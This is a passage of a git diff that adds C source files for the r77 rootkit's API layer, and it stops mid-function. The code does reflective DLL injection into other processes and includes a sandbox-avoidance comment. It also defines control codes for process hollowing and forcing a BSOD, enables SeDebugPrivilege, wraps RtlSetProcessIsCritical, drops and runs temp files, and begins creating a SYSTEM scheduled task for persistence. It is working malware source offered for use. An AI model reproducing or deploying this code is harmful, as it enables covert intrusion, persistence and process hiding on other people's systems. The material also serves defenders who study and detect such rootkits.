+/// The control code that executes an executable using process hollowing.
+///
+#define CONTROL_USER_RUNPE 0x3002
+///
+/// The control code that triggers a BSOD.
+///
+#define CONTROL_SYSTEM_BSOD 0x4001
+
+#endif
\ No newline at end of file
diff --git a/r77api/r77mindef.h b/r77api/r77mindef.h
new file mode 100644
index 0000000..d584116
--- /dev/null
+++ b/r77api/r77mindef.h
@@ -0,0 +1,36 @@
+#include
+#include
+#ifndef _R77MINDEF_H
+#define _R77MINDEF_H
+
+#pragma warning(disable: 6258) // Using TerminateThread does not allow proper thread clean up.
+
+#define NEW(type) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type))
+#define NEW_ARRAY(type, length) (type*)HeapAlloc(GetProcessHeap(), 0, sizeof(type) * (length))
+#define FREE(buffer) HeapFree(GetProcessHeap(), 0, buffer);
+
+///
+/// Returns TRUE, if the bitness of the current process is equal to bits.
+///
+#define BITNESS(bits) (sizeof(LPVOID) * 8 == (bits))
+///
+/// Returns either if32 or if64 depending on the bitness of the current process.
+///
+#define COALESCE_BITNESS(if32, if64) (sizeof(LPVOID) == 4 ? (if32) : (if64))
+///
+/// Rotates a value right by a defined number of bits.
+///
+#define ROTR(value, bits) ((DWORD)(value) >> (bits) | (DWORD)(value) << (32 - (bits)))
+
+#ifdef CUSTOM_ENTRY
+int main();
+int __stdcall EntryPoint()
+{
+ // Define CUSTOM_ENTRY, if compiling with /ENTRY
+ // ExitProcess is required, if entry point is defined manually.
+
+ ExitProcess(main());
+}
+#endif
+
+#endif
\ No newline at end of file
diff --git a/r77api/r77process.c b/r77api/r77process.c
new file mode 100644
index 0000000..fdc70cd
--- /dev/null
+++ b/r77api/r77process.c
@@ -0,0 +1,232 @@
+#include "r77process.h"
+#include "r77def.h"
+#include "r77win.h"
+#include "r77runtime.h"
+#include
+#include
+
+BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast)
+{
+ BOOL result = FALSE;
+
+ // Unlike with "regular" DLL injection, the bitness must be checked explicitly.
+ BOOL is64Bit;
+ if (Is64BitProcess(processId, &is64Bit) && BITNESS(is64Bit ? 64 : 32))
+ {
+ HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId);
+ if (process)
+ {
+ // Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS)
+ BOOL processExcluded = FALSE;
+ WCHAR processName[MAX_PATH + 1];
+ if (GetProcessFileName(processId, FALSE, processName, MAX_PATH))
+ {
+ LPCWSTR exclusions[] = PROCESS_EXCLUSIONS;
+ for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++)
+ {
+ if (!StrCmpIW(processName, exclusions[i]))
+ {
+ processExcluded = TRUE;
+ break;
+ }
+ }
+ }
+
+ if (!processExcluded)
+ {
+ // Do not inject critical processes (smss, csrss, wininit, etc.).
+ ULONG breakOnTermination;
+ if (NT_SUCCESS(NtQueryInformationProcess(process, ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG), NULL)) && !breakOnTermination)
+ {
+ // Sandboxes tend to crash when injecting shellcode. Only inject medium IL and above.
+ DWORD integrityLevel;
+ if (GetProcessIntegrityLevel(process, &integrityLevel) && integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID)
+ {
+ // Get function pointer to the shellcode that loads the DLL reflectively.
+ DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain");
+ if (entryPoint)
+ {
+ LPBYTE allocatedMemory = (LPBYTE)VirtualAllocEx(process, NULL, dllSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ if (allocatedMemory)
+ {
+ if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL))
+ {
+ HANDLE thread = NULL;
+ if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread)
+ {
+ if (fast)
+ {
+ // Fast mode is for bulk operations, where the return value of this function is ignored.
+ // The return value of DllMain is not checked. This function just returns TRUE, if NtCreateThreadEx succeeded.
+ result = TRUE;
+ }
+ else if (WaitForSingleObject(thread, 100) == WAIT_OBJECT_0)
+ {
+ // Return TRUE, only if DllMain returned TRUE.
+ // DllMain returns FALSE, for example, if r77 is already injected.
+ DWORD exitCode;
+ if (GetExitCodeThread(thread, &exitCode))
+ {
+ result = exitCode != 0;
+ }
+ }
+
+ CloseHandle(thread);
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+
+ CloseHandle(process);
+ }
+ }
+
+ return result;
+}
+
+BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count)
+{
+ BOOL result = TRUE;
+ DWORD actualCount = 0;
+
+ LPDWORD processes = NEW_ARRAY(DWORD, 10000);
+ DWORD processCount = 0;
+ HMODULE *modules = NEW_ARRAY(HMODULE, 10000);
+ DWORD moduleCount = 0;
+ BYTE moduleBytes[512];
+
+ if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount))
+ {
+ processCount /= sizeof(DWORD);
+
+ for (DWORD i = 0; i < processCount; i++)
+ {
+ HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]);
+ if (process)
+ {
+ if (EnumProcessModules(process, modules, 10000 * sizeof(HMODULE), &moduleCount))
+ {
+ moduleCount /= sizeof(HMODULE);
+
+ for (DWORD j = 0; j < moduleCount; j++)
+ {
+ if (ReadProcessMemory(process, (LPBYTE)modules[j], moduleBytes, 512, NULL))
+ {
+ WORD signature = *(LPWORD)&moduleBytes[sizeof(IMAGE_DOS_HEADER)];
+ if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE)
+ {
+ if (actualCount < *count)
+ {
+ r77Processes[actualCount].ProcessId = processes[i];
+ r77Processes[actualCount].Signature = signature;
+ r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE ? *(DWORD64*)&moduleBytes[sizeof(IMAGE_DOS_HEADER) + 2] : 0;
+ }
+ else
+ {
+ result = FALSE;
+ }
+
+ break;
+ }
+ }
+ }
+ }
+
+ CloseHandle(process);
+ }
+ }
+ }
+
+ FREE(processes);
+ FREE(modules);
+
+ *count = actualCount;
+ return result;
+}
+BOOL DetachInjectedProcess(PR77_PROCESS r77Process)
+{
+ BOOL result = FALSE;
+
+ if (r77Process->Signature == R77_SIGNATURE)
+ {
+ HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process->ProcessId);
+ if (process)
+ {
+ // R77_PROCESS.DetachAddress is a function pointer to DetachRootkit()
+ HANDLE thread = NULL;
+ if (NT_SUCCESS(NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread)
+ {
+ result = TRUE;
+ CloseHandle(thread);
+ }
+
+ CloseHandle(process);
+ }
+ }
+
+ return result;
+}
+BOOL DetachInjectedProcessById(DWORD processId)
+{
+ BOOL result = FALSE;
+ PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
+ DWORD r77ProcessCount = 1000;
+
+ if (GetR77Processes(r77Processes, &r77ProcessCount))
+ {
+ for (DWORD i = 0; i < r77ProcessCount; i++)
+ {
+ if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId)
+ {
+ result = DetachInjectedProcess(&r77Processes[i]);
+ break;
+ }
+ }
+ }
+
+ FREE(r77Processes);
+ return result;
+}
+VOID DetachAllInjectedProcesses()
+{
+ PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
+ DWORD r77ProcessCount = 1000;
+
+ if (GetR77Processes(r77Processes, &r77ProcessCount))
+ {
+ for (DWORD i = 0; i < r77ProcessCount; i++)
+ {
+ if (r77Processes[i].Signature == R77_SIGNATURE)
+ {
+ DetachInjectedProcess(&r77Processes[i]);
+ }
+ }
+ }
+
+ FREE(r77Processes);
+}
+VOID TerminateR77Service(DWORD excludedProcessId)
+{
+ PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
+ DWORD r77ProcessCount = 1000;
+ if (GetR77Processes(r77Processes, &r77ProcessCount))
+ {
+ for (DWORD i = 0; i < r77ProcessCount; i++)
+ {
+ if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE && r77Processes[i].ProcessId != excludedProcessId)
+ {
+ HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, r77Processes[i].ProcessId);
+ if (process)
+ {
+ TerminateProcess(process, 0);
+ CloseHandle(process);
+ }
+ }
+ }
+ }
+
+ FREE(r77Processes);
+}
\ No newline at end of file
diff --git a/r77api/r77process.h b/r77api/r77process.h
new file mode 100644
index 0000000..20be520
--- /dev/null
+++ b/r77api/r77process.h
@@ -0,0 +1,87 @@
+#include "r77mindef.h"
+#ifndef _R77PROCESS_H
+#define _R77PROCESS_H
+
+///
+/// Defines the r77 header.
+///
+typedef struct _R77_PROCESS
+{
+ ///
+ /// The process ID of the process.
+ ///
+ DWORD ProcessId;
+ ///
+ /// The signature (R77_SIGNATURE, R77_SERVICE_SIGNATURE, or R77_HELPER_SIGNATURE).
+ ///
+ WORD Signature;
+ ///
+ /// A function pointer to DetachRootkit() in the remote process. This function detaches the injected r77 DLL
+ /// Applies only, if Signature == R77_SIGNATURE.
+ ///
+ DWORD64 DetachAddress;
+} R77_PROCESS, *PR77_PROCESS;
+
+///
+/// Injects a DLL using reflective DLL injection.
+/// The DLL must export a function called "ReflectiveDllMain".
+/// The bitness of the target process must match that of the current process.
+/// The integrity level of the target process must be at least medium.
+/// The process must not be critical.
+///
+/// The process to inject the DLL in.
+/// A buffer with the DLL file.
+/// dllSize The size of the DLL file.
+/// TRUE to not wait for DllMain to return. If this parameter is set, this function does not return FALSE, if DllMain returned FALSE.
+///
+/// TRUE, if the DLL was successfully injected and DllMain returned TRUE;
+/// otherwise, FALSE.
+///
+BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast);
+
+///
+/// Retrieves a list of all processes where an r77 header is present.
+/// The result includes only processes where the bitness matches that of the current process.
+///
+/// A buffer with R77_PROCESS structures to write the result to.
+/// A DWORD pointer with the number of structures in the buffer. The number of returned entries is written to this value.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count);
+///
+/// Detaches r77 from the specified process.
+/// The bitness of the target process must match that of the current process.
+///
+/// The process to detach r77 from.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL DetachInjectedProcess(PR77_PROCESS r77Process);
+///
+/// Detaches r77 from the specified process.
+/// The bitness of the target process must match that of the current process.
+///
+/// The process ID to detach r77 from.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL DetachInjectedProcessById(DWORD processId);
+///
+/// Detaches r77 from all running processes.
+/// Only processes where the bitness matches that of the current process are detached.
+///
+VOID DetachAllInjectedProcesses();
+///
+/// Terminates all r77 service processes. Typically, there are two active r77 service processes, one 32-bit and one 64-bit process.
+/// Only processes where the bitness matches that of the current process are terminated.
+///
+///
+/// A process ID that should not be terminated. Use -1 to not exclude any processes.
+///
+VOID TerminateR77Service(DWORD excludedProcessId);
+
+#endif
\ No newline at end of file
diff --git a/r77api/r77runtime.c b/r77api/r77runtime.c
new file mode 100644
index 0000000..127a28d
--- /dev/null
+++ b/r77api/r77runtime.c
@@ -0,0 +1,101 @@
+#include "r77runtime.h"
+#include "r77win.h"
+#include "ntdll.h"
+
+VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size)
+{
+ for (volatile LPBYTE destPtr = dest, srcPtr = src; size; size--)
+ {
+ *destPtr++ = *srcPtr++;
+ }
+}
+VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size)
+{
+ for (volatile PWCHAR destPtr = dest, srcPtr = src; size; size--)
+ {
+ *destPtr++ = *srcPtr++;
+ }
+}
+VOID libc_memset(LPVOID dest, INT value, SIZE_T size)
+{
+ for (volatile LPBYTE destPtr = dest; size; size--)
+ {
+ *destPtr++ = value;
+ }
+}
+VOID libc_ltow(LONG value, PWCHAR buffer)
+{
+ if (value < 0)
+ {
+ *buffer++ = L'-';
+ value = -value;
+ }
+
+ INT length = 0;
+ for (LONG i = value; i; i /= 10)
+ {
+ length++;
+ }
+
+ for (INT i = 0; i < length; i++)
+ {
+ buffer[length - i - 1] = L'0' + value % 10;
+ value /= 10;
+ }
+
+ buffer[length] = L'\0';
+}
+DWORD libc_strhash(LPCSTR str)
+{
+ DWORD hash = 0;
+
+ while (*str)
+ {
+ hash = ROTR(hash, 13) + *str++;
+ }
+
+ return hash;
+}
+DWORD libc_strhashi(LPCSTR str, USHORT length)
+{
+ DWORD hash = 0;
+
+ for (; length--; str++)
+ {
+ hash = ROTR(hash, 13) + (*str >= 'a' ? *str - 0x20 : *str);
+ }
+
+ return hash;
+}
+
+NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength)
+{
+ // NtQueryObject must be called by using GetProcAddress on Windows 7.
+ return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength);
+}
+NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer)
+{
+ // Use NtCreateThreadEx instead of CreateRemoteThread.
+ // CreateRemoteThread does not work across sessions in Windows 7.
+ return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer);
+}
+NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue)
+{
+ return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue);
+}
+NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb)
+{
+ return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb);
+}
+BOOL IsWindows10OrGreater2()
+{
+ OSVERSIONINFOEXW versionInfo;
+ libc_memset(&versionInfo, 0, sizeof(OSVERSIONINFOEXW));
+ versionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW);
+ versionInfo.dwMajorVersion = HIBYTE(_WIN32_WINNT_WINTHRESHOLD);
+ versionInfo.dwMinorVersion = LOBYTE(_WIN32_WINNT_WINTHRESHOLD);
+ versionInfo.wServicePackMajor = 0;
+
+ DWORDLONG conditionMask = VerSetConditionMask(VerSetConditionMask(VerSetConditionMask(0, VER_MAJORVERSION, VER_GREATER_EQUAL), VER_MINORVERSION, VER_GREATER_EQUAL), VER_SERVICEPACKMAJOR, VER_GREATER_EQUAL);
+ return VerifyVersionInfoW(&versionInfo, VER_MAJORVERSION | VER_MINORVERSION | VER_SERVICEPACKMAJOR, conditionMask) != FALSE;
+}
\ No newline at end of file
diff --git a/r77api/r77runtime.h b/r77api/r77runtime.h
new file mode 100644
index 0000000..3e98359
--- /dev/null
+++ b/r77api/r77runtime.h
@@ -0,0 +1,24 @@
+#include "r77mindef.h"
+#ifndef _R77RUNTIME_H
+#define _R77RUNTIME_H
+
+// Shellcode variants of libc functions
+// - Used by the reflective loader, prior to any DLL's being loaded
+// - Used where MSVCRT replacements are needed, when /NODEFAULTLIB is used
+
+VOID libc_memcpy(LPVOID dest, LPVOID src, SIZE_T size);
+VOID libc_wmemcpy(LPVOID dest, LPVOID src, SIZE_T size);
+VOID libc_memset(LPVOID dest, INT value, SIZE_T size);
+VOID libc_ltow(LONG value, PWCHAR buffer);
+DWORD libc_strhash(LPCSTR str);
+DWORD libc_strhashi(LPCSTR str, USHORT length);
+
+// API's that are called by using GetProcAddress
+
+NTSTATUS NTAPI NtQueryObject2(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength);
+NTSTATUS NTAPI NtCreateThreadEx(PHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);
+NTSTATUS NTAPI RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue);
+NTSTATUS NTAPI RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb);
+BOOL IsWindows10OrGreater2();
+
+#endif
\ No newline at end of file
diff --git a/r77api/r77win.c b/r77api/r77win.c
new file mode 100644
index 0000000..637d5d0
--- /dev/null
+++ b/r77api/r77win.c
@@ -0,0 +1,889 @@
+#include "r77win.h"
+#include "r77runtime.h"
+#include "ntdll.h"
+#include
+#include
+#include
+#include
+#include
+
+BOOL GetRandomBytes(LPVOID buffer, DWORD size)
+{
+ BOOL result = FALSE;
+
+ HCRYPTPROV cryptProvider;
+ if (CryptAcquireContextW(&cryptProvider, NULL, L"Microsoft Base Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
+ {
+ if (CryptGenRandom(cryptProvider, size, buffer))
+ {
+ result = TRUE;
+ }
+
+ CryptReleaseContext(cryptProvider, 0);
+ }
+
+ return result;
+}
+BOOL GetRandomString(PWCHAR str, DWORD length)
+{
+ WCHAR characters[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+ if (GetRandomBytes(str, length * 2))
+ {
+ for (DWORD i = 0; i < length; i++)
+ {
+ str[i] = characters[str[i] % (sizeof(characters) / sizeof(WCHAR) - 1)];
+ }
+
+ str[length] = L'\0';
+ return TRUE;
+ }
+ else
+ {
+ return FALSE;
+ }
+}
+LPCSTR ConvertStringToAString(LPCWSTR str)
+{
+ PCHAR result = NULL;
+
+ int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL);
+ if (length > 0)
+ {
+ result = NEW_ARRAY(CHAR, length);
+ if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0)
+ {
+ FREE(result);
+ result = NULL;
+ }
+ }
+
+ return result;
+}
+LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str)
+{
+ if (str.Buffer)
+ {
+ PWCHAR buffer = NEW_ARRAY(WCHAR, str.Length / sizeof(WCHAR) + 1);
+ libc_wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR));
+ buffer[str.Length / sizeof(WCHAR)] = L'\0';
+
+ return buffer;
+ }
+ else
+ {
+ return NULL;
+ }
+}
+
+BOOL Is64BitOperatingSystem()
+{
+ BOOL wow64 = FALSE;
+ return BITNESS(64) || IsWow64Process(GetCurrentProcess(), &wow64) && wow64;
+}
+BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit)
+{
+ BOOL result = FALSE;
+
+ if (Is64BitOperatingSystem())
+ {
+ HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
+ if (process)
+ {
+ BOOL wow64;
+ if (IsWow64Process(process, &wow64))
+ {
+ *is64Bit = wow64 ? FALSE : TRUE;
+ result = TRUE;
+ }
+
+ CloseHandle(process);
+ }
+ }
+ else
+ {
+ *is64Bit = FALSE;
+ result = TRUE;
+ }
+
+ return result;
+}
+LPVOID GetFunction(LPCSTR dll, LPCSTR function)
+{
+ HMODULE module = GetModuleHandleA(dll);
+ return module ? (LPVOID)GetProcAddress(module, function) : NULL;
+}
+BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel)
+{
+ BOOL result = FALSE;
+
+ HANDLE token;
+ if (OpenProcessToken(process, TOKEN_QUERY, &token))
+ {
+ DWORD tokenSize;
+ if (!GetTokenInformation(token, TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
+ {
+ PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize);
+ if (tokenMandatoryLabel)
+ {
+ if (GetTokenInformation(token, TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize))
+ {
+ *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1);
+ result = TRUE;
+ }
+
+ LocalFree(tokenMandatoryLabel);
+ }
+ }
+
+ CloseHandle(token);
+ }
+
+ return result;
+}
+BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength)
+{
+ BOOL result = FALSE;
+
+ HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
+ if (process)
+ {
+ WCHAR path[MAX_PATH + 1];
+ if (GetModuleFileNameExW(process, NULL, path, MAX_PATH))
+ {
+ PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path);
+ if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
+ {
+ lstrcpyW(fileName, resultFileName);
+ result = TRUE;
+ }
+ }
+
+ CloseHandle(process);
+ }
+
+ return result;
+}
+BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength)
+{
+ BOOL result = FALSE;
+
+ HANDLE token;
+ if (OpenProcessToken(process, TOKEN_QUERY, &token))
+ {
+ DWORD tokenSize = 0;
+ if (!GetTokenInformation(token, TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER)
+ {
+ PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize);
+ if (tokenUser)
+ {
+ if (GetTokenInformation(token, TokenUser, tokenUser, tokenSize, &tokenSize))
+ {
+ WCHAR domain[256];
+ DWORD domainLength = 256;
+ SID_NAME_USE sidType;
+ result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType);
+ }
+
+ LocalFree(tokenUser);
+ }
+ }
+
+ CloseHandle(token);
+ }
+
+ return result;
+}
+BOOL EnabledDebugPrivilege()
+{
+ BOOL result = FALSE;
+
+ HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId());
+ if (process)
+ {
+ HANDLE token;
+ if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
+ {
+ LUID luid;
+ if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
+ {
+ TOKEN_PRIVILEGES tokenPrivileges;
+ tokenPrivileges.PrivilegeCount = 1;
+ tokenPrivileges.Privileges[0].Luid = luid;
+ tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+ if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
+ {
+ result = GetLastError() != ERROR_NOT_ALL_ASSIGNED;
+ }
+ }
+ }
+
+ CloseHandle(process);
+ }
+
+ return result;
+}
+BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size)
+{
+ HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type);
+ if (resource)
+ {
+ *size = SizeofResource(NULL, resource);
+ if (*size)
+ {
+ HGLOBAL resourceData = LoadResource(NULL, resource);
+ if (resourceData)
+ {
+ *data = (LPBYTE)LockResource(resourceData);
+ return TRUE;
+ }
+ }
+ }
+
+ return FALSE;
+}
+BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength)
+{
+ BOOL result = FALSE;
+
+ WCHAR path[MAX_PATH + 1];
+ if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !StrCmpNIW(path, L"\\\\?\\", 4))
+ {
+ PWCHAR resultFileName = &path[4];
+ if ((DWORD)lstrlenW(resultFileName) <= fileNameLength)
+ {
+ lstrcpyW(fileName, resultFileName);
+ result = TRUE;
+ }
+ }
+
+ return result;
+}
+BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size)
+{
+ BOOL result = FALSE;
+
+ HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file != INVALID_HANDLE_VALUE)
+ {
+ DWORD fileSize = GetFileSize(file, NULL);
+ if (fileSize != INVALID_FILE_SIZE)
+ {
+ LPBYTE fileData = NEW_ARRAY(BYTE, fileSize);
+
+ DWORD bytesRead;
+ if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize)
+ {
+ *data = fileData;
+ if (size) *size = fileSize;
+ result = TRUE;
+ }
+ else
+ {
+ FREE(fileData);
+ }
+ }
+
+ CloseHandle(file);
+ }
+
+ return result;
+}
+BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length)
+{
+ BOOL result = FALSE;
+
+ for (DWORD count = 0; count < length; count++)
+ {
+ DWORD bytesRead;
+ if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR))
+ {
+ result = FALSE;
+ break;
+ }
+
+ if (str[count] == L'\0')
+ {
+ result = TRUE;
+ break;
+ }
+ }
+
+ return result;
+}
+BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size)
+{
+ BOOL result = FALSE;
+
+ HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (file != INVALID_HANDLE_VALUE)
+ {
+ DWORD bytesWritten;
+ result = WriteFile(file, data, size, &bytesWritten, NULL);
+ CloseHandle(file);
+ }
+
+ return result;
+}
+BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath)
+{
+ BOOL result = FALSE;
+ WCHAR tempPath[MAX_PATH + 1];
+
+ if (GetTempPathW(MAX_PATH, tempPath))
+ {
+ WCHAR fileName[MAX_PATH + 1];
+ if (GetRandomString(fileName, 8))
+ {
+ lstrcatW(fileName, L".");
+ lstrcatW(fileName, extension);
+
+ if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize))
+ {
+ result = TRUE;
+ }
+ }
+ }
+
+ return result;
+}
+BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile)
+{
+ BOOL result = FALSE;
+
+ STARTUPINFOW startupInfo;
+ PROCESS_INFORMATION processInformation;
+ libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
+ libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
+ startupInfo.cb = sizeof(startupInfo);
+
+ if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation))
+ {
+ WaitForSingleObject(processInformation.hProcess, 10000);
+ CloseHandle(processInformation.hProcess);
+ CloseHandle(processInformation.hThread);
+
+ result = TRUE;
+ }
+
+ if (deleteFile)
+ {
+ for (int i = 0; i < 10; i++)
+ {
+ if (DeleteFileW(path)) break;
+ Sleep(100);
+ }
+ }
+
+ return result;
+}
+BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments)
+{
+ BOOL result = FALSE;
+
+ BSTR nameBstr = SysAllocString(name);
+ BSTR directoryBstr = SysAllocString(directory);
+ BSTR fileNameBstr = SysAllocString(fileName);
+ BSTR argumentsBstr = SysAllocString(arguments);
+ BSTR folderPathBstr = SysAllocString(L"\\");
+ BSTR userIdBstr = SysAllocString(L"SYSTEM");
+
+ if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
+ {
+ HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
+ if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
+ {
+ ITaskService *service = NULL;
+ if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
+ {
+ VARIANT empty;
+ VariantInit(&empty);
+
+ if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
+ {
+ ITaskFolder *folder = NULL;
+ if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
+ {
+ ITaskDefinition *task = NULL;
+ if (SUCCEEDED(service->lpVtbl->NewTask(service, 0, &task)))
+ {
+ ITaskSettings *settings = NULL;
+ if (SUCCEEDED(task->lpVtbl->get_Settings(task, &settings)))
+ {
+ if (SUCCEEDED(settings->lpVtbl->put_StartWhenAvailable(settings, VARIANT_TRUE)))
+ {
